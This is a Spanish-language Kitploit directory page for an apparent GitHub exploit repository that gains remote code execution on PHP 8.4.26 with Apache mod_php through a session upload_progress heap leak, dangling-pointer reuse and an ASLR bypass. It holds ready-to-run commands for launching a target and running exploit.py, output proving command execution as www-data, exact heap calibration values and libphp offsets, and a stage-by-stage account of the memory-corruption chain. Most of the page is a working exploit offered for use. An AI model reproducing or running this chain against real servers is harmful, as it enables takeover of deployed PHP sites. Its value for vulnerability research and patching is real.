Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
php2shell-bypass-aslr-exp — Exploit puramente HTTP que logra RCE en PHP 8.4.26 + Apache mod_php mediante una fuga de heap en session upload_progress, reutilización de puntero colgante y omisión de ASLR para llamar a zif_system. | Kitploit
Herramientas/GitHubGitHub/9bie/php2shell-bypass-aslr-exp
Forensia de MemoriaAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónHerramienta de Acceso RemotoExplotación de Binarios
GitHub9bie/php2shell-bypass-aslr-exp

php2shell-bypass-aslr-exp

Exploit puramente HTTP que logra RCE en PHP 8.4.26 + Apache mod_php mediante una fuga de heap en session upload_progress, reutilización de puntero colgante y omisión de ASLR para llamar a zif_system.

Ver Repositorio
661244241hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

php2shell — Reproducción de la vulnerabilidad de sesión en PHP 8.4.26

中文 | English

Bajo las restricciones de "completamente remoto, solo HTTP, la página objetivo no tiene session_start() y no se escribe ningún PHP en el lado objetivo", lograr RCE en PHP 8.4.26 + Apache prefork + mod_php con un único exploit.py. La imagen oficial php:8.4.26-apache ya ha sido probada con éxito 3/3 en un solo paso (PROOF: uid=33(www-data)...). La versión actual requiere display_errors=1; con display_errors=0 ya se ha logrado la fuga de heap por HTTP puro, el RCE completo se enviará más adelante.

exp

A continuación se muestran los comandos completos desde cero hasta el RCE; basta con copiar y ejecutar todo el bloque. Este repositorio no compila PHP/Apache, no hay docker build: el entorno es simplemente la imagen oficial php:8.4.26-apache más los montajes de configuración bajo docker/.

# 依赖:Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp

# 1) 拉官方镜像(PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull

# 2) 起目标:单 worker、display_errors=On、memory_limit=8M
docker compose -f docker/docker-compose.yml up -d

# 3) 等 Apache 就绪并确认普通页面
for i in $(seq 1 20); do
  curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
  sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php   # OK

# 4) 一条命令完成整个利用;首次运行会自动读取 libphp 偏移
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Si ya estás dentro del directorio del repositorio, omite git clone/cd; pull también se puede omitir, up -d descargará la imagen automáticamente.

exploit.py realiza automáticamente la rotación de workers, la fuga en dos fases, la ejecución de zif_system y la lectura del proof, con reintentos integrados en cada fase. Entorno de ejecución:

ComponenteVersiónOrigen
PHP8.4.26 (NTS, mod_php)php:8.4.26-apache
Sistema baseDebian 12 (bookworm)Igual que arriba
Apache2.4.69 (paquete de Debian 12 dentro de la imagen oficial, verificado)Igual que arriba
MPMprefork, un solo workerdocker/apache.conf
Apache en el informe de lab2.4.68 (compilado originalmente en el lab, --profile lab)Si se requiere coincidencia exacta, usar el tag 2.4.68 de apache/httpd

Repositorio oficial de imágenes: docker-library/php (Docker Hub: php:8.4.26-apache); código fuente de PHP: php/php-src (tag php-8.4.26).

La primera ejecución ejecuta automáticamente docker/offsets.py: lee los desplazamientos reales de zif_system / zval_ptr_dtor desde libphp.so dentro del contenedor y los escribe en out/offsets.env; exploit.py los carga automáticamente, por lo que no es necesario modificar los desplazamientos manualmente tras cambiar la imagen oficial o actualizar. El comando predeterminado es id>/out/p1 (10 bytes); el /out dentro del contenedor se monta en el ./out del repositorio, y el proof se genera directamente en la máquina local:

[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system     0x...
zval_ptr_dtor  0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)

El límite de comandos en el payload es de 14 bytes. Para ejecutar comandos arbitrarios, escribe el script en el directorio montado y luego ejecútalo con sh</out/c (8 bytes):

printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'

Parámetros habituales: --profile, --cmd, --proof-file, --fetch, --zif-offset, --dtor-offset, --htdata-offset, --no-pre-rotate, --retries. El perfil predeterminado es bookworm (imagen oficial); la compilación original del lab usa --profile lab. --offsets-file '' permite desactivar la lectura automática; cuando el nombre del contenedor no es php2shell-target, se especifica con --docker-container.

La calibración del heap de bookworm ya está integrada: número de fillers de stage1 841; array objetivo de stage2 406, longitud del valor de los elementos 16; stage3 HTDATA=chunk+0x690d8, el pad de A es 6×(31,31), y además lleva un Cookie: PHPSESSID válido de 32 caracteres, lo que hace que B reutilice el stale id (send_cookie=0), evitando que la cabecera Set-Cookie de la sesión sobrescriba val.type en R0+16; B usa un carrier de 15B para sobrescribir val.value de la reference. Los offsets de libphp de la imagen oficial se leen automáticamente como zif_system=0x465370, zval_ptr_dtor=0x65eb60; el lab original usa 0x43a870 / 0x613c50.

Descripción general del mecanismo

La superficie de vulnerabilidad es la inicialización de sesión que session.upload_progress desencadena antes de RINIT, así como el puntero colgante que persiste entre peticiones tras el bailout por OOM. A continuación se toma como ejemplo la compilación de laboratorio; los valores de calibración de bookworm de la imagen oficial se encuentran al final del exp.

Todo el tráfico de ataque de la cadena completa es HTTP multipart normal, y la página objetivo solo contiene <?php echo "OK\n"; ?>:

  1. Rotación de workers: tras A_bigfields (campo POST vivo de 3MB + OOM de 12MB) le sigue inmediatamente un B que inicializa la sesión, el hijo sale con SIGABRT; el nuevo worker creado por fork desde el prefork hereda las mismas asignaciones de libphp/chunk.

  2. Fuga de heap: A usa 1001 campos para disparar la advertencia de max_input_vars (display_errors=On → headers_sent=1), PHPSESSID=\x00 genera un nuevo id y establece send_cookie=1, el último campo de 12MB provoca OOM dentro de php_session_initialize(), PS(http_session_vars) queda colgante. B reocupa la referencia antigua con un búfer de valor raw multipart de 56B, y usa un zend_string vivo de 192B para alojar la fake HashTable; la lectura fuera de límites de php_url_encode() escribe punteros de chunk del Zend MM en Set-Cookie (4096B, 98 punteros).

  3. Fuga de libphp: A coloca el PS(id) colgante en chunk+0xb7400; la página HashTable de 56B de B hace que ZSTR_LEN(PS(id)) lea nTableSize=16, y el área de datos es exactamente nNextFreeElement|pDestructor; pDestructor = ZVAL_PTR_DTOR = libphp+0x613c50, se extrae la base de libphp desde Set-Cookie.

  4. Ejecución de comandos: A usa 6 pads para fijar la referencia colgante en R0=chunk+0x24e0; B sobrescribe R0-0x10 con un búfer raw de 55B, la fake HashTable se coloca en la cadena viva de 167B en chunk+0x6e0d8, pDestructor = zif_system = libphp+0x43a870. Cadena de activación:

    php_session_track_init()
      zval_ptr_dtor(PS(http_session_vars))
        zend_reference_destroy(R0)
          zval_ptr_dtor(&ref->val)          # IS_ARRAY_EX
            zend_array_destroy(fake HT)
              zend_hash_destroy(fake HT)
                pDestructor(&bucket->val)   # zif_system
    

    El terminal solo utiliza zif_system dentro de libphp, no necesita libc.

Análisis del mecanismo

Descargar herramienta